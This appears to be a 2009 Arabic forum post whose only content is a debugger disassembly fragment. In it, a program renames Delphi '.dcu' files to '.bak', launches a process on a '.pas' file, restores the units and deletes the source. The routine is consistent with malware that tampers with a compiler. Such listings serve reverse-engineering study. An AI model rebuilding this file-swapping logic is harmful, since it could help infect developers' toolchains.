28-08-2009, 09:17 AM
كود :
0040823D |. 83C6 04 |ADD ESI,4
00408240 |. 4B |DEC EBX
00408241 |.^ 75 C7 \JNZ SHORT Test.0040820A
00408243 |. 68 1C854000 PUSH Test.0040851C
00408248 |. FF35 1CF14400 PUSH DWORD PTR DS:[44F11C] ; Test.00407FF4
0040824E |. 68 34854000 PUSH Test.00408534 ; ASCII "');"
00408253 |. 8D85 E0FBFFFF LEA EAX,DWORD PTR SS:[EBP-420]
00408259 |. BA 03000000 MOV EDX,3
0040825E |. E8 E9C9FFFF CALL Test.00404C4C
00408263 |. 8B95 E0FBFFFF MOV EDX,DWORD PTR SS:[EBP-420]
00408269 |. 8BC7 MOV EAX,EDI
0040826B |. E8 0CCDFFFF CALL Test.00404F7C
00408270 |. E8 9BB3FFFF CALL Test.00403610
00408275 |. E8 7AA9FFFF CALL Test.00402BF4
0040827A |. BB 17000000 MOV EBX,17
0040827F |. BE C4F04400 MOV ESI,Test.0044F0C4
00408284 |> 8D95 DCFBFFFF /LEA EDX,DWORD PTR SS:[EBP-424]
0040828A |. 8B06 |MOV EAX,DWORD PTR DS:[ESI]
0040828C |. E8 73FDFFFF |CALL Test.00408004
00408291 |. 8B95 DCFBFFFF |MOV EDX,DWORD PTR SS:[EBP-424]
00408297 |. 8BC7 |MOV EAX,EDI
00408299 |. E8 DECCFFFF |CALL Test.00404F7C
0040829E |. E8 6DB3FFFF |CALL Test.00403610
004082A3 |. E8 4CA9FFFF |CALL Test.00402BF4
004082A8 |. 83C6 04 |ADD ESI,4
004082AB |. 4B |DEC EBX
004082AC |.^ 75 D6 \JNZ SHORT Test.00408284
004082AE |. 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0]
004082B4 |. E8 DFADFFFF CALL Test.00403098
004082B9 |. E8 36A9FFFF CALL Test.00402BF4
004082BE |. 8BC7 MOV EAX,EDI
004082C0 |. E8 D3ADFFFF CALL Test.00403098
004082C5 |. E8 2AA9FFFF CALL Test.00402BF4
004082CA |. 8D85 D8FBFFFF LEA EAX,DWORD PTR SS:[EBP-428]
004082D0 |. B9 EC844000 MOV ECX,Test.004084EC ; ASCII "bak"
004082D5 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004082D8 |. E8 FBC8FFFF CALL Test.00404BD8
004082DD |. 8B85 D8FBFFFF MOV EAX,DWORD PTR SS:[EBP-428]
004082E3 |. E8 A4CAFFFF CALL Test.00404D8C
004082E8 |. 50 PUSH EAX
004082E9 |. 8D85 D4FBFFFF LEA EAX,DWORD PTR SS:[EBP-42C]
004082EF |. B9 40854000 MOV ECX,Test.00408540 ; ASCII "dcu"
004082F4 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004082F7 |. E8 DCC8FFFF CALL Test.00404BD8
004082FC |. 8B85 D4FBFFFF MOV EAX,DWORD PTR SS:[EBP-42C]
00408302 |. E8 85CAFFFF CALL Test.00404D8C
00408307 |. 50 PUSH EAX ; |ExistingName
00408308 |. E8 07E8FFFF CALL <JMP.&kernel32.MoveFileA> ; \MoveFileA
0040830D |. 8D85 00FCFFFF LEA EAX,DWORD PTR SS:[EBP-400]
00408313 |. 33C9 XOR ECX,ECX
00408315 |. BA 44000000 MOV EDX,44
0040831A |. E8 19AFFFFF CALL Test.00403238
0040831F |. C785 00FCFFFF 44000000 MOV DWORD PTR SS:[EBP-400],44
00408329 |. C785 2CFCFFFF 01000000 MOV DWORD PTR SS:[EBP-3D4],1
00408333 |. 66:C785 30FCFFFF 0000 MOV WORD PTR SS:[EBP-3D0],0
0040833C |. 8D85 F0FBFFFF LEA EAX,DWORD PTR SS:[EBP-410]
00408342 |. 50 PUSH EAX
00408343 |. 8D85 00FCFFFF LEA EAX,DWORD PTR SS:[EBP-400]
00408349 |. 50 PUSH EAX
0040834A |. 6A 00 PUSH 0
0040834C |. 6A 00 PUSH 0
0040834E |. 6A 00 PUSH 0
00408350 |. 6A 00 PUSH 0
00408352 |. 6A 00 PUSH 0
00408354 |. 6A 00 PUSH 0
00408356 |. FF75 F4 PUSH DWORD PTR SS:[EBP-C]
00408359 |. 68 4C854000 PUSH Test.0040854C
0040835E |. FF75 F8 PUSH DWORD PTR SS:[EBP-8]
00408361 |. 68 58854000 PUSH Test.00408558 ; ASCII "pas"""
00408366 |. 8D85 D0FBFFFF LEA EAX,DWORD PTR SS:[EBP-430]
0040836C |. BA 04000000 MOV EDX,4
00408371 |. E8 D6C8FFFF CALL Test.00404C4C
00408376 |. 8B85 D0FBFFFF MOV EAX,DWORD PTR SS:[EBP-430]
0040837C |. E8 0BCAFFFF CALL Test.00404D8C
00408381 |. 50 PUSH EAX ; |CommandLine
00408382 |. 6A 00 PUSH 0 ; |ModuleFileName = NULL
00408384 |. E8 13E6FFFF CALL <JMP.&kernel32.CreateProcessA> ; \CreateProcessA
00408389 |. 83F8 01 CMP EAX,1
0040838C |. 1BC0 SBB EAX,EAX
0040838E |. 40 INC EAX
0040838F |. 84C0 TEST AL,AL
00408391 |. 74 0E JE SHORT Test.004083A1
00408393 |. 6A FF PUSH -1 ; /Timeout = INFINITE
00408395 |. 8B85 F0FBFFFF MOV EAX,DWORD PTR SS:[EBP-410] ; |
0040839B |. 50 PUSH EAX ; |hObject
0040839C |. E8 E3E7FFFF CALL <JMP.&kernel32.WaitForSingleObject> ; \WaitForSingleObject
004083A1 |> 8D85 CCFBFFFF LEA EAX,DWORD PTR SS:[EBP-434]
004083A7 |. B9 40854000 MOV ECX,Test.00408540 ; ASCII "dcu"
004083AC |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004083AF |. E8 24C8FFFF CALL Test.00404BD8
004083B4 |. 8B85 CCFBFFFF MOV EAX,DWORD PTR SS:[EBP-434]
004083BA |. E8 CDC9FFFF CALL Test.00404D8C
004083BF |. 50 PUSH EAX
004083C0 |. 8D85 C8FBFFFF LEA EAX,DWORD PTR SS:[EBP-438]
004083C6 |. B9 EC844000 MOV ECX,Test.004084EC ; ASCII "bak"
004083CB |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004083CE |. E8 05C8FFFF CALL Test.00404BD8
004083D3 |. 8B85 C8FBFFFF MOV EAX,DWORD PTR SS:[EBP-438]
004083D9 |. E8 AEC9FFFF CALL Test.00404D8C
004083DE |. 50 PUSH EAX ; |ExistingName
004083DF |. E8 30E7FFFF CALL <JMP.&kernel32.MoveFileA> ; \MoveFileA
004083E4 |. 8D85 C4FBFFFF LEA EAX,DWORD PTR SS:[EBP-43C]
004083EA |. B9 F8844000 MOV ECX,Test.004084F8 ; ASCII "pas"
004083EF |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004083F2 |. E8 E1C7FFFF CALL Test.00404BD8
004083F7 |. 8B85 C4FBFFFF MOV EAX,DWORD PTR SS:[EBP-43C]
004083FD |. E8 8AC9FFFF CALL Test.00404D8C
00408402 |. 50 PUSH EAX ; /FileName
00408403 |. E8 ACE5FFFF CALL <JMP.&kernel32.DeleteFileA> ; \DeleteFileA
00408408 |. 6A 00 PUSH 0